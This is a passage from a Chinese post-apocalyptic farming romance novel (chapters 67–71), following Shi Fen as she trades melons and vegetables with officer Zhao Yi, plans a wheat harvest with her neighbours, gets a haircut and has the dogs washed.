“蜡烛给你两箱,免费的,但是阳县那边好几百的人口,总需要食物吧?我这个季节食物有富余,阳县这会儿又不适合开荒种地,我供应食物,秋天还能供应种子,用来换其他资源,怎么样?”
叶枝蔚他们一群人马上就要走了,她农场里就自己一个加上牲畜,最多加上罗辉一家,确实吃不完这么多蔬菜瓜果,能换其他资源当然是好的。
其实阳县里的人大多依靠营养液,正常食物对他们来说只是锦上添花,可这也并不代表就没人要这些东西。
赵弋没办法第一时间应下来,只说:“我回去问问,不过后续比起食物,阳县可能更需要指导耕种的专家,资源交换我没办法保证,但如果你愿意去阳县帮忙指导开地耕种的事,会有积分作为工资发放。”
授人以鱼不如授人以渔,阳县最需要的是后者。
时枌考虑了下,“也行吧。”
她明白了他的意思。
“那我这个秋天多留种,到时候再看。”
食物卖不出去,种子肯定是有人要的。
聊完这事,赵弋去地窖把两箱蜡烛搬了出来,骨头张照照也帮忙把白芳的行李搬上了车,收拾妥当,众人送走他们三个,依旧躺在院子里闲聊。
赵队轻飘飘来,又轻飘飘地离开,只留下了一台扎眼的挖掘机。
周霓知道时枌在为多的食物发愁,拉着她闲聊,“赵队说的也不一定全对,他没有立刻应下来应该是怕你失望,但根据兰城的模式,我们军事基地里面也是有食堂有正常食物的,他们辛辛苦苦来阳县驻军,还带了这么大一批居民过来,除了挖矿,当然也是为了开地,种更多的食物,你不用慌,估计等阳县那边安排好,就会有人过来商量着跟你交换资源了。”
骨头也表示赞同,“东西吃不完就先攒着,到时候我们来了阳县,也会时常过来的,还怕没人吃吗?”
秦丰:“放心,到时候我们拿积分换,嘿嘿。”
时枌:“你们来要什么积分,我主要是怕浪费。”
她喜欢种地,也喜欢吃,但胃口没那么大,好好的食物只能扔去沤肥,她心里不舒服而已。
这会儿已经有蚊子了,大家散伙回去睡觉去。
时枌早早就在床上支起了蚊帐,叶枝蔚跟周霓房里本来就有,她们不用愁,但是楼下那三个大男人嫌弃蚊帐太公主风一开始死活不肯用,结果就被叮得好几晚没睡着,终于肯挂蚊帐,现在把蚊帐当宝贝似的不肯撒手,上次张照照睡觉不老实给蚊帐踹出了个大洞,被他俩一起压着补好了才罢休。
房间开着窗,还有点凉风,时枌躺在凉席上,一手捏着扇子扇风,热的睡不着。
头发又长长了。
天气又热,披头散发只会更热,盘起来又扯的头皮痛。
她只能扎了两个麻花辫扔在肩膀两边,终于轻松很多。
这才七月份就这么难熬了。
八九月可怎么办啊。
哦对,还有马上就要收获小麦了,她还得顶着大太阳去收小麦。
真是造孽。
秦丰他们几个帮着她砍树开地已经累到了,时枌不好意思再让他们帮着收割麦子,所以一直没提这事,打算等他们都走了再自己干。
哎,半生不熟的时候她还好意思奴役这群牛马,结果养着养着就养出感情了,秦丰在她这里都“过劳肥”了,她是真不好意思再让骨头跟张照照干大夏天收麦子的辛苦活。
反正没他们在的时候她也是这么过的,自己干呗,时枌心态很好地想着。
秦丰一群人在她这多留了两天,知道他们走了时枌没人帮着干活,张照照很贴心地把围栏加固,推磨磨了饲料,骨头砍了剩余木料做柴,帮着秦丰做咸鸭蛋,又用生石灰草木灰米糠做了一批皮蛋先放着,说等个把月就能吃,还有那些吃腻了的豆角,趁着人多都给收了晾晒,等着冬天还能吃干豆角炒腊肉。
叶枝蔚之前就给时枌编了不少竹筐竹篮什么的,把她前些年用烂的都替换下来了,那张麻将桌终于完工,打磨好后放到了墙角,铺上一层布完事,周霓还可惜他们没时间玩。
临走时周霓格外舍不得扔,说等她把保护区的家当收拾好就会来阳县,到时候离她家就近了,会时常过来玩。
“等你们搬来阳县经过我这边的时候来一趟,我正好把多瓜果给你们装好带过去。”时枌说。
反正她一个人也吃不完。
秦丰嘿嘿笑,“那我就不客气了。”
这次分别似乎比上次更腻歪,看他们离开后时枌好久都没缓过神。
可能是因为这次大家住的时间长吧。
而且这次人也更多,突然走了,她心里空落落的也是正常。
时枌在院子里玩了会儿小狗,又抬头看了看满树的青桃,脑袋放空了会儿,觉得挺无聊的,于是拿了把小剪刀又带了个小竹篮上树,一根一根枝条找毛虫,看见了就一剪刀挑起扔到竹篮里,但是桃树上更多的不是毛虫,而是果蝇蚜虫介壳虫这些,还有钻到树皮下的天牛幼虫,这些都不好处理。
时枌就只能看见蚜虫多的就把枝条修剪掉,之前刚挂果的时候她就给这棵大桃树疏过果,现在顺便再把那些发育不良的小果子都剪掉,在树上爬来爬去,剪了一地的烂果跟爬满虫子的枝条,又爬下树把地扫了,跟竹篮的毛虫一起丢进鸡栏喂鸡,看它们吃的高兴,时枌趴在鸡栏旁边看了好半天。
没一会儿,阳阳就跑过来跟她一起看。
“时枌姐姐你喂它们什么呀?”阳阳问她。
“虫子,它们爱吃。”好歹算个荤腥嘛。
第68章 第68章有没有别的什么想要的?……
“枝蔚姐姐他们回家去了?”阳阳跟她一起趴在鸡栏栏杆边,时枌比她高,胳膊能搭在栏杆上,但以阳阳六岁的身高就只能脑袋卡在栏杆缝里,两只手扒拉着这么看。
鸡栏栏杆间空隙小,不用担心阳阳这样会卡脑袋,但时枌还是看了几眼确定真的卡不进去才放下心。
“嗯,他们刚回家去了。”时枌回。
鸡栏附近原本还是有不少灌木跟树的,不过他们清理扩建的时候一起把这边的树砍了,唯独留了一棵遮荫的大树,还有时枌种下的两棵小桃树。
“糯糯姐姐也回去了。”阳阳惆怅地说,“以后我能多来找时枌姐姐玩吗?”
时枌家里人太多,她不太敢来玩,而且时枌周围总是有好多好多人,好像每天都很忙的样子,妈妈也跟她说过不要打扰时枌姐姐干活,所以尽管阳阳很喜欢这个大方的姐姐,却很少主动找她玩。
“好啊,欢迎你来,正好我院子里好多瓜都成熟了,还需要你帮忙摘呢。”时枌笑着说。
阳阳就住在隔壁,短时间内应该不会离开,她们两个倒是可以多来往,解解闷。
“爸爸妈妈说不能随便要姐姐的东西。”阳阳说。
“没关系,你帮我干活,我给你瓜吃,这就不是白要了,是你靠劳动换来的。”
“对哦。”
看了会儿鸡,时枌就拿起篮子,带着阳阳去自己的菜地。
春天的时候地里还只是一些青菜跟刚发芽的小苗,到了这个季节,植物就开始泛滥了。
且不说爬上架子疯狂开花结果的豆角黄瓜丝瓜之类的,地上爬了小半年的甜瓜西瓜南瓜都弥漫到了院墙外,一些实在爬不了的被时枌牵引到了院墙上,现在院墙都是绿油油的。
时枌种西瓜是单独的一块地,有两个品种,一个是黑皮的,皮厚,籽少,但是脆甜,一个是花皮的,皮薄,籽多,及时摘了是脆甜口,老一点就会变成粉粉的口感。
“地里除了瓜藤还有不少杂草,你帮我拔杂草,我顺便教你怎么挑西瓜。”时枌弯下腰,挑了一个个头有脑袋大的,用手轻拍瓜皮,“这种,拍上去听起来脆脆的,啵啵响的,就刚刚好,你来拍拍看。”
阳阳有样学样,蹲下来拍了拍,还把耳朵贴在瓜皮上仔细听,然后点头说自己知道了。
时枌又挑了旁边一个小一点的,“声音沉闷,咚咚的,就没熟,还得等一等。”
阳阳又把耳朵贴过去仔细听,两个瓜都拍一拍,心里大概知道了。
时枌把那个熟了的顺便摘了,往石头上一磕,瓜皮一下子崩开,裂成两半,再用手一掰就能打开,露出里面鲜红的果肉,扑面而来的清甜味道,阳阳眼睛都亮了,吸溜一下口水。
时枌分给她一半,“现在太热了不适合干活,我们先吃半个瓜歇一会儿。”
“好!”
阳阳抱着瓜,跟时枌一起找了棵树下坐着庇荫,就这么吃了起来。
瓜皮留着扔进鸡栏喂鸡。
最近瓜太多,鸡嘴巴都吃刁了,以前扔瓜皮进去能啄的只剩下一层薄薄的绿皮,现在扔进去只吃红色甜的部分,留下一层厚厚的皮,时枌还得费功夫进去打扫出来埋进土里沤肥。
吃完瓜带着阳阳逛了会儿园子,干了点杂活,两人都热的直冒汗,时枌就摘了两个大西瓜跟一些甜瓜,她手里抱两个大西瓜,阳阳怀里抱一堆甜瓜,就这么到罗辉家门口。
刚到门口阳阳就开始叫人,是余袅出来接她们的。
余袅看见两人手上的东西,故意做出生气的表情看向阳阳,“不是说了去时枌姐姐家做客不准拿东西的吗?”
时枌连忙解释:“阳阳陪我拔了一中午的草,这是给她的工资。”
阳阳也一脸骄傲:“是啊!妈妈你看我累得胳膊都瘦了!”
余袅哭笑不得,帮时枌接过西瓜,阳阳也把手里的瓜给了哥哥,甩了甩发酸的胳膊。
余袅:“一会儿就做饭了,时枌就在我家吃饭吧?正好教教我,我地里的菜都长得不好,阳阳天天问我什么时候能吃上瓜……”
盛情相邀,时枌正好家里没人懒得开火,就同意了。
罗辉家现在也越来越有家的样子,除了扩建的马场,还有羊圈牛栏,地方宽阔,时枌一眼就能看出自家大花在人家牛群里晃悠,毕竟就它一头老牛慢悠悠的。院子里的菜地也简单种了一些菜,青菜长得还不错,就是播种的时候撒得密了一些,现在长起来就显得拥挤,时枌建议她以后吃的时候就直接拔,顺便间苗。
至于豆角。
“豆角要做爬架,你一会儿看看我家的应该就知道怎么做了,番茄也要支撑,侧芽全部打掉,不然很消耗营养,打完结的果子也会更多。”
罗辉家是余袅做饭,厨房灶台也是新修好的,看着很干净,佐料大部分是时枌送过来的,反正她那边佐料多的很。
灶后挨着墙码放着整齐的柴,烈烈正在帮忙烧火,看见时枌乖乖叫了姐姐好打招呼,一张圆乎的脸被火映得通红。
“平时烧火留下的草木灰可以撒到菜地里,青菜容易长虫,尤其是一些蜗牛什么的,草木灰特别好用。”时枌说,“还有家里吃剩下的骨头烂菜叶子,可以埋到院子里沤肥,挖深一些埋进去,不会有小动物来扒的,也不会臭。”
余袅一边忙活一边记下,叮嘱烈烈收集好草木灰。
阳阳坐在旁边凳子上,“时枌姐姐什么都知道,比爸爸知道的都多!”
刚在背后蛐蛐她爹,她爹就来了厨房,听见这话笑了起来,去舀水洗了手,再来用凉凉的手点她额头。
“你们家蚊帐够用吗?我哪里还有一些,他们都走了也没人用,正好给你们家。”时枌问。
她家现在就她一个人,蚊帐却有足足四个,放着也是放着,不如给罗辉家用,反正她那里还有纱,要是以后有需要可以再自己做,但罗辉家就不一样了,他们之前的家一把火烧得干干净净,当时虽然抢出来一些生活用品,但也没她这么全。
听她这么说罗辉回道:“我也不跟你客气了,我们家靠近池塘,蚊子格外多,我去山上摘什么驱蚊草做什么驱蚊水都没用,我自己皮糙肉厚是不怕的,但烈烈天生招蚊子咬,这段时间浑身都是包,抓的没一块好皮……”
阳阳:“对对,哥哥自己抓,血都抓出来了!”
烈烈更不好意思了。
时枌:“没事,阳阳这会儿陪我回家拿吧。”
余袅:“吃完饭再去,不急的。”
时枌:“我正好拿来饭不就做好了嘛!”
说完就拉着阳阳出门了。
她到家把楼上楼下除了自己房间的蚊帐都摘了,框架也没忘,抱着一大摞东西带着阳阳回来,罗辉在羊圈忙完一身泥,不太方便去挂蚊帐,就暂时放在一楼,等吃完饭再去弄。
罗辉家的饭菜跟时枌家不太一样。
余袅最拿手的是馍夹万物 ,平时吃饭就是一个馍,中间切开,再往里面塞东西。
比如今天是土豆丝番茄鸡蛋,还有炖好的牛肉,就自己拿筷子往馍里塞,想吃啥夹啥,如果有汤的话就会一人一碗汤,把馍撕成小块放进去泡着吃。
这样做饭不仅方便,还很管饱。
吃着馍,时枌就想起自家那几亩小麦,灵光一闪。
“我山脚下有几亩田,种了小麦,最近也快成熟了,他们正好这时候回去,我也缺人帮忙,你们家要是愿意来帮忙收麦子,到时候我分麦子给你们,这样可以吗?”
余袅:“这……我们家本来就欠你许多,不该收你的东西的,到时候让罗辉带着烈烈去帮忙就是了。”
时枌笑,“不给报酬我怎么好意思让你们帮忙,况且,没有酬劳我还担心你们不给我好好干活呢。”
后半句自然是玩笑话,桌上几人都笑了。
这事就这么定下来,罗辉答应只要她确定好了收麦子的时间他就回去帮忙。
时枌吃饱喝足,还被塞了一小桶牛奶几个馍跟肉骨头,这是给虎子大熊还有小狗们的。
她看老大在罗辉家肚子鼓鼓囊囊的,就知道老大没少吃,狗窝看着也很新,旁边放了不少骨头,想必平时老大都是闻着骨头香睡觉的。
时枌彻底放心了。
回家喂了狗,虎子也啃上了大骨头,叼着骨头到处晃悠不知道跟谁炫耀,时枌正好吃饱了,去菜园清理老叶子消消食,把老叶子丢进给鸡鸭鹅吃,又喂了猪羊,小花跟大花散养惯了,平时都是自己吃草的,也不用她喂。
不过为了跟小花增进感情,时枌揪了两根胡萝卜,洗干净泥巴,再去喂它。
小花也长大也不少,看着是一匹俊俏的小马了,时枌最近忙,天气又热,没怎么驯它,只是平时给它喂食梳毛增进感情,小花现在也挺喜欢她。
等再大一些,就可以试着挂上马鞍骑马了。
安置完农场这些,时枌才回到屋子,先锁好后门,再锁好前门,上楼洗澡睡觉。
夏天的好处就是不用烧热水洗澡,这个温度就够热了,她平时除了洗头的时候会用一点热水,洗澡都是直接冷水淋。
洗完澡反而精神不少,时枌就躺在沙发上,屋子里没人,她不需要注意睡姿,一条腿挂在茶几上,悠闲地拿起手表查看消息。
群聊里多了不少消息,叶枝蔚他们早就到保护区了,发了收拾行李的照片给她,时枌一条条回复。
她不做任务时是不戴手表的,所以没有立刻回消息。
这会儿又看见赵弋给她私聊的一条。
之前都是时枌给他发,还是好几条要挖掘机的内容,时枌现在看上边一长串自己的消息都觉得脸热,终于,有他发的一条。
赵弋:有没有别的什么想要的?
第69章 第69章真齐啊。
有没有别的什么想要的?
时枌认真想了想,叶枝蔚他们扎扎实实在自己这里忙活了两个月,但是赵队可没有扎扎实实帮她两个月,那她奴役赵队,难道不是应该的吗?
时枌于是回复:过几天要收麦子了,你能来帮忙吗?
她的手表跟其他人的一样,信号不好的时候发消息特别慢,有时候好几天都发不出去,所以时枌也没等着他回复,放下手表,理了理睡裙裙摆,带上那本《三国志》就回房间睡觉了。
自己家里这么多书放着也是放着,她自己偶尔会看一看,但是罗辉家有两个小孩,小孩却没有书看,时枌在心里记下,提醒烈烈跟阳阳可以来她家借书看。
虽然她也不知道末世读书有什么用,但是读书这玩意就跟刻在基因里一样,她见不得小孩子不读书。
第二天时枌早上起来热了下昨天从罗辉家拿来的馍当早饭,生炉子烧热水准备中午洗头,又洗了一个甜瓜削皮挖心,瓜籽留着之后可以留种,统一积攒在厨房窗台,又去喂鸡鸭鹅猪,放完饭,阳阳已经把今天的牛奶送到她家院子门口了,她自己喝了一杯,剩下的都给小狗崽跟虎子大熊,泡着馍一起吃。
还有昨天拿回来的骨头,今天早上就先这样对付过去,中午她再开火做饭。
叼着馍带上牛奶去了山脚下的田地。
这一片一眼望去都是农田,似乎都看不到边际,靠近山脚的是时枌的玉米地,玉米耐旱又耐造,时枌又不纠结产量,就到处种玉米,把那些不平整的土地上都种了玉米,——不然她哪来饲料鸡鸭鹅猪?路边田埂上自己会长野菜,比如茼蒿之类的,时枌又另外点了豌豆,估计过段时间就能成熟。
除此之外,一些犄角旮旯的小地方被她种了绿豆红豆,她现在吃的都是去年收获的,这东西消耗不大,她一般种的也不多,纯粹好玩,不要求产量。
这片田地里最多的,就是小麦跟水稻了。
这两片区域是分开的,水稻田靠近水源,方便浇灌,七月份还是绿油油一片,现在已经开始抽穗了,而另一边比较干旱成片成片的麦子田就是一片金黄,麦穗饱满,像一只只张狂的刺猬。
还有一片明显被收割的、光秃秃的土地,那是她的油菜花,早在五月中就收了,油菜花种的不多,她以往都是留着去阳县榨油,今年估计是不行了,收获一堆油菜籽也不知道该怎能办。
亏她还提前收割、过筛、晾晒。
辛苦半年,榨油的没了。
也不知道阳县现在有了人,那个榨油厂还会不会继续开,她得让赵队帮她看着,要是又有人接手,她也好把菜籽送过去榨油。
时枌今天来主要是看麦子的,麦子到了收割的时候,而且这两天也连续晴天,非常适合割麦子。
行,那就明天清晨开干。
这季节太热了,只能早上趁着太阳没出来赶紧把活干了,不然到了中午根本没办法干活,人都要热死。
到时候有她、赵弋还有罗辉,努努力,一天肯定能干完这两亩地。
时枌视察完田地,回去路上跟罗辉说了明天清晨割麦子,到家就给赵队发了消息。
罗辉家来帮忙割麦子,那她肯定是要包饭的,水也不能少。
她不太会做馍,但是她会烤面包。
那就得今天把面包烤好,再切点香肠,晚上煮绿豆汤,这样有吃也有喝,很完美,要是不够再带两个西瓜过去解渴消暑。
天太热,太阳一出来时枌就不想干活,尽量呆在家里不出门。
炉子上的水烧好了,她把热水倒进热水瓶,剩余的倒进桌上的水壶里方便晾凉有水喝。
又拿出面粉,复习一遍秦丰留下的面包秘方,先发面。
明天干的是力气活,大家胃口肯定也大,一定要多做一些,而且也不适合甜口,干脆做一个带香肠带葱花咸口的面包?这样就不用再另外处理香肠了。
时枌也是自己灵光一闪,琢磨了下,感觉还是广式的腊肠比较合适,就切了两根成薄片,想着这玩意切成薄片似乎也不方便裹进面粉里发酵,万一影响面团发酵呢?为了保证不浪费面团,时枌就先把一部分腊肠切成碎,另一部分切片的一起放旁边备用。
按照流程先发面团。
夏天发酵快,她得盯着,以免发过头了。
然后继续烧热水,准备洗头。
自己一个人在家就不用上上下下地跑了,干脆就在一楼洗手间洗头,只要一壶热水,再兑好冷水成温水就行,时枌上楼把洗发水护发素都拿了下来。
头发长了,天气热人也热,还特别费洗发水,时枌站在洗手间盯着自己披头散发女鬼似的造型,心里犹豫要不要趁着洗头之前把头发给剪了。
外边明晃晃的日头,光是看一眼就觉得热。
今年似乎格外热的早。
她下定了决心,去找剪刀,刚出洗手间,大门大开,就看见一辆熟悉的越野车停在小院门口。
赵弋下车,猝不及防
看见女鬼造型的她,还愣了一下。
时枌也愣了。
她没记错的话她说的是明天清晨割小麦吧?他这么早过来干啥。
赵队很快就解答了她心里的疑惑。
赵弋从车后座搬下来一大箱东西,用纸盒子装着,看样子还挺沉,赵队胳膊上都起了青筋,他把东西放到院子门口,时枌也出来了,看了看那一大箱,问他是什么。
“在阳县捡的花盆。”他说。
时枌:“哇哦。”
她正好需要。
植物们大多是地栽,但她最喜欢的兰花都是盆栽的,之前跟白芳一起换盆还费了好大的功夫,把家里破烂的锅碗瓢盆都用上了。
锅碗瓢盆好用是好用,但是……它丑啊。
时枌随手扒拉两下头发,把披散的头发挂到耳后,就去开箱子。
果然是一箱子陶盆,大大小小都有,难怪那么重。
“还有个水缸,里面养了莲花,开得正好,一会儿会有车给你送过来。”
时枌:“!!!”
莲花!
她好久没见过莲花了!
家里以前也是有的,后来被她不小心养死了,就很难再找到莲花了,虽然有个池塘,但平时也只是长些杂草,没有荷花莲花之类的。
这倒是提醒了时枌。
她农场里好像缺一个小池塘,养养鱼养养莲花似乎也不错。
难怪她总觉得院子里干巴巴的,热的不行,没有水呀!
正好她有挖掘机,挖个池塘还不简单?
时枌啃哧啃哧搬花盆,心里已经有了池塘的计划,一边跟帮她搬花盆的赵弋分享。
赵队今天难得干净,穿了件白T恤,灰色长裤,搬个花盆就弄脏了。
“你的头发?准备洗头?”终于找到间隙问她。
“正好,你帮我剪个头,剪短就行。”时枌把剪刀往他手里一塞。
她眼睛又没长后头,看不见,只能让别人帮忙剪。
赵弋拿着剪刀竟然有点不知所措,“要怎么剪?”
时枌拉了把椅子坐他前面,背对着人,招呼他自己拉椅子坐,“就剪齐,大概剪这么多。”
时枌掐了一把头发给他看大概剪多少。
赵弋没剪过女生头发,男头倒是剪了不少,平时队里几个都是互相拿推子帮忙推的,熟练了后他就自己给自己推,反正都是寸头。
不过他最近几个月忙,倒是忘了给自己推头发,现在都长挺长了。
掐着那一把绸缎似的黑发,赵弋拉了个凳子坐她后边,这样他就尽量比她矮一点,方便剪头发。
先剪了一小把,给她看确定长度。
“不错,就这个长度。”不算特别短,能扎起来。
赵弋就按照这个长度剪了。
他剪的小心,恨不得拿尺子比着剪,磨蹭半小时,最后一看。
真齐啊。
齐得都有点不正常。
“剪完啦?”
时枌勾了一缕到胸前看了看,“就这样吧。”
看她还挺满意的,赵弋也就收了剪刀。
“我去洗头,你自己找事做。”时枌起身自己忙去了。
赵弋看了看满地的头发,按她说的,给自己找点事做。
先把地上的头发扫干净扔到垃圾桶,再收拾好椅子凳子,炉子上的水烧开了,就帮忙兑水给她洗头,门神似的老大一个站在洗手间门口,时枌一扭头,就遮天蔽日的。
弄得她洗个头都不自在了。
顶着满头泡沫,时枌用手控制着头发别掉下来,想了想,还是给他安排了别的事干。
比如……
“看见马场旁边新开的地了吧?最近天气热没下雨,地有点干,你去后院接水去给它们浇浇水,除了土豆跟红薯都是你们农业基地弄来的实验苗,万一干死了就麻烦了。”
“好。”赵弋应下,“大概下午,会有车过来,收一批消暑的西瓜跟甜瓜,积分结账。”
卖瓜?
时枌:“那你去摘瓜……算了,你也看不出来熟没熟,我马上洗完就去摘,消暑的话……绿豆要不要?”
“赠品吗?”他笑着问。
“……行,就当是赠品。”反正她自己一个人也吃不完。
赵弋买这些瓜都是自己口袋掏钱,毕竟天气热,阳县条件艰苦,天天喝营养液能有什么用?只是活着罢了,士兵们最近多有抱怨,反正他积分多,不如来买点瓜给他们改善改善伙食。
“等等,这个买瓜,是你出钱还是阳县那边出钱?”时枌刚准备冲泡沫就想了起来。
“我自己买。”
“那算了,不收你钱了。”她都要拉着人收麦子了,一点瓜也没什么。
“不用,正常收钱。”赵弋说,“我买这些是为了笼络人心,又不是做慈善。”
时枌被说服了。
第70章 第70章他是不是在看自己?……
这天气洗完头简单擦一擦就行,她这个长度出去晒一晒吹一吹很快就会干了。
时枌刚洗完头,不想出汗,站在树荫下,指导赵队摘瓜。
赵队就像瓜田里的猹,翻来翻去,看哪个都想摘,无从下手。
挑瓜对于他这种营养液选手来说还是太难了。
时枌看他大半天都不下手,啧了声,扯了个簸箕顶脑袋上遮阳,下地,用手指给他看,她指哪他就去哪摘,配合倒是不错。
阳县那边他手下的部队也就不到百人,瓜也不需要很多,但时枌这里的瓜……
太多了。
一般的菜时枌就只种一条完事,但她可能比较喜欢吃瓜,西瓜跟甜瓜占了很大的地方,比旁边那些蔬菜加起来还多。
时枌边指挥边问:“你们那有多少人?够不够吃?不够的话再摘点番茄吧,反正我吃不完。”
这个季节番茄正是大批量成熟的时候,这东西摘下来不能放太长时间,不摘下来的话又容易被鸟啄被虫吃,时枌天天吃番茄都快吃腻了。
“也可以。”赵队很好说话。
摘下的瓜堆了一地,花皮的黑皮的都有,甜瓜也摘了不少,地里明显没之前那么臃肿了,时枌顶着簸箕又摘了一大篮子番茄,——这是她手里有的叶枝蔚给她编的最大的竹篮了,跟水缸似的那么大。
赵弋带来装花盆的箱子抖抖灰还能用,就用来装甜瓜刚刚好,西瓜只能用蛇皮袋装了,时枌养的瓜实在太大,黑皮的看着还行没那么大,花皮的不知道什么品种长得跟冬瓜似的,赵弋搬了近一个小时的瓜,后背都被汗湿透。
远远传来车声,两人正在瓜地旁边忙活,看见一辆皮卡慢悠悠开过来,赵弋抬手,皮卡就加速驶近,进入了时枌农场的栏杆范围,往瓜地这边来。
时枌为了方便他们的车出入,最外围的木栏杆都是留了足够大的“门”的,能保证之前那辆大卡车出入的那种大,这辆
小皮卡出入完全没问题。
为了自己屋子的光线,时枌在扩建的时候还拆了所有的铁丝网,把菜地往外挪了好远好远。
这片瓜地是在后院原来铁丝网内的,正好方便停车。
皮卡停下后,从驾驶座副驾驶下来两个穿军绿色作训服的士兵,哒哒跑过来先给赵弋敬了礼,规规矩矩的,再看向旁边造型奇特顶着簸箕的时枌,又很快挪开目光,收起好奇心。
赵弋也累了,单手叉腰,一手扫过满地的瓜,对他们说:“这些,搬上车,送到阳县,基地内部你们自己分了吃。”
两个士兵顿时瞪大眼睛,其中一个看着比较活泼的张口就问:“真的啊赵队?都给我们?”
赵弋:“那边箱子一箱甜瓜,还有这篮子番茄,一起装车。”
说完他看向那个明显很新的篮子,侧头询问时枌的意见:“篮子我下次让他们送来,行么?”
时枌:“没问题。”
还有下次就好,她这边还有一堆等着消耗呢。
天热,不适合聊天,两个士兵接到任务就开始搬瓜,都是给自己吃的,搬得格外起劲。
当然,他们先把皮卡后面的水缸搬了下来。
时枌想起绿豆,“绿豆在地窖里面,你跟我去拿?”
她是真的一点出汗的力气活都不想干,反正有赵弋这个苦力,而且他衣服都汗湿了,反正都脏了嘛。
地窖在工具房,拉开“门”之后得敞开了一会儿通通风,避免人下去给缺氧憋死,两人就这么在外边站了会儿,赵弋点了根蜡烛就下去了。
细长的楼梯还算结实,平时秦丰上上下下都没问题,赵弋下去自然也不算什么,按照时枌的指示找到了绿豆,他拎了一袋带上去。
时枌这边地下存了有七八袋绿豆,确实是够她吃的了,他拎走一袋那地方跟没变化似的。
这袋绿豆也坐上了皮卡。
这会儿功夫,两个士兵已经把瓜都搬上车了,还用之前固定水缸的绳子把瓜都固定好,避免路上颠簸。
干完活准备离开,赵弋让他们把水缸挪一下。
“你看水缸放哪?”他问她。
正好趁人在,挪好位置。
莲花需要大光照,时枌看了下,就让他们把水缸搬到自己院子栏杆前。
时枌屋子前只有一个简单水泥平台,两边也只有栏杆的,这也是她平时养兰花的位置,兰花多了之后就往地下蔓延,这地方光照不错,这里放个水缸养莲花平时出门就能看见,风水好,夏天看见水人也会觉得清凉。
只是死水容易生蚊虫,她得去池塘抓几尾小鱼过来扔里面养着,吃吃虫子。
水缸挪到位,他俩也开车离开了。
活干完,时枌还是清清爽爽,头发也干了,顺手拿绳子绑了一下,去看莲花。
这一缸长满了睡莲,还是紫色的,虽然只有五朵,两朵正在绽放,两个露色的花苞,一个刚浮出水面的花苞。
时枌手拨弄两下睡莲花瓣,一边跟赵弋闲聊:“你来阳县没有任务吗?看着好清闲啊。”
赵队一身臭汗,白T恤都被搬瓜时蹭上的泥巴染成了灰T恤,两手脏脏站在门口阴凉处,正打算歇一会儿再去洗个澡。
“有任务。”只是任务是指挥别人干活而已,确实很清闲。“有没有多的衣服?”
时枌这才抬头将他从上看到下。
嗯,确实有点脏了。
“我得找找,不过……你今天要在这住?”
“不是说明天清晨割麦子?”
“是啊,但你也来的太早了。”
“……”
“不过也没事,”时枌很大方,“今天就先休息吧,我去烤面包,你晚上帮忙煮一下绿豆汤。”
时枌拍拍手,转身进屋去,上二楼爷爷奶奶房间衣柜里翻了翻。
爷爷个子高,但也没有赵弋这样高,衣服也不知道穿不穿得下,而且这衣服都放久了,有些泛黄,时枌挑了两件布短袖跟长裤,抱着下楼,正好看见赵队正在一楼洗手间刷自己的鞋。
哦对,赵队拖鞋都没有。
她把衣服递给他,又去之前秦丰他们住过的房间拿出一双拖鞋放到洗手间门口。
之前趁着他们搬瓜时枌就把窑烧好了,现在面包也发好,简单整形,面上铺了一层腊肠,送进土窑开烤。
她还是第一次烤这种咸口的面包,心里也没底,干脆就把自己的躺椅搬到土窑边桃树下,拿了把扇子,躺下乘凉观察面包情况。
阳光晒得人眼睛都恍惚,隔着桃树叶滤下的几缕也杀伤性十足,时枌拿扇子挡了挡,悠闲地打了个哈欠。
大熊躺在她的躺椅下乘凉。
大熊一身黑毛,每到夏天心情就不好,经常躲着太阳,偶尔还会在墙角刨个坑乘凉,给自己弄一身灰。
时枌要是有空也会给两只大狗洗洗澡凉快凉快,但她今天暂时不想动。
土窑里还没传出面包香,赵弋就已经洗完澡,衣服都自己洗了,时枌看见他拎着一桶衣服去了后院。
后院有秦丰他们新做的晾衣杆,拿细竹子做的,叶枝蔚还做了不少衣架,——主要是他们人多衣服也多,衣架根本不够使。
没一会儿就看见赵弋拎了把椅子坐在门口,正对着她。
原本在躺椅上翻来覆去歪七扭八毫无形象的时枌突然就有了包袱,收了挂在椅子扶手上的双腿,拿扇子的胳膊也规整了些,扇边抵着额头,半眯着眼,心想:他是不是在看自己?
时枌觉得自己有点自恋了。
大夏天大中午的,她又不好意思这会儿给他安排活干。
难道两人就这么大眼瞪小眼,干坐着?
时枌开始坐立难安。
她躺不下去了。
面包也懒得管,她下椅子找自己的鞋,一脚踩到毛茸茸的大熊,脚心传来诡异的痒,还给自己吓了一跳,整个人头发都快竖起来,她这一脚又没踩实,热的迷迷糊糊的大熊倒没什么,扭头用一双黑溜溜的眼睛看着她,满脸写着疑惑。
时枌弯腰揉揉狗头,小声说对不起对不起,然后一看自己的脚。
好家伙。
大熊是在哪个坑里滚过了?给她蹭了一脚的灰。
很好,这下拖鞋也不用找了,时枌光脚踩地,在躺椅下找到了自己的拖鞋,拎起拖鞋蹑手蹑脚往屋走。
裙摆之下被阳光照得几乎在发亮的一截小腿,白皙的脚踩在青石板上,上楼梯时赵弋下意识地伸手扶了一把,时枌怕踩到碎石头,想都没想就顺手搭上人胳膊撑了一下,一扭头看见大熊跟了过来,她不想它脏兮兮的进屋又蹭脏地板跟沙发,于是问赵弋:“你很闲?”
“……差不多。”
时枌朝大熊抬抬下巴,“闲的话去洗洗狗,它太脏了,天气热,喜欢在泥巴里滚。”
“虎子呢?”
“一起洗了吧。”时枌收了手,进屋前拿手拍了拍脚底沾上的灰,“小狗就别洗了,怕感冒。”
赵弋应好。
时枌进去洗脚了,干干净净出来,直接从后门去了后院,赵弋已经牵好了水管。
之前他们洗车都是直接牵后院的水龙头,还是很方便的,正好也能洗狗。
刚刚她在洗手间,赵弋没进去拿肥皂,他叫来大熊,“帮忙拿一下肥皂。”
时枌想了想,大熊浑身这么多毛,用肥皂肯定洗不干净,于是把一楼的洗发水拿了出来。
赵弋拿着洗发水,挑眉问她:“你确定?”
“确定啊,好好洗,洗干净一点。”
“行。”
结果就是……赵弋用了半瓶洗发水,没能给大熊搓出泡沫来。
湿漉漉的大熊一脸无辜看着自己的主人。
时枌:“……”
70-80
第71章 第71章你比它们更好养活。……
赵弋连空瓶子都没放过,灌水,摇晃,继续倒在大熊身上。
但是那些带着泡沫的水就像是倒进了黑沉沉的大海里,一下子就消失了。
大熊,是一只纯黑的,长毛土松犬。
长毛,划重点。
所以当它嫌热去泥地里翻滚,去池塘边抓癞/**玩的时候,那些泥啊虫啊刺果子啊什么的就顺便粘到了它身上,要知道洗之前赵弋还尽量把它身上的杂草跟果子摘干净了。
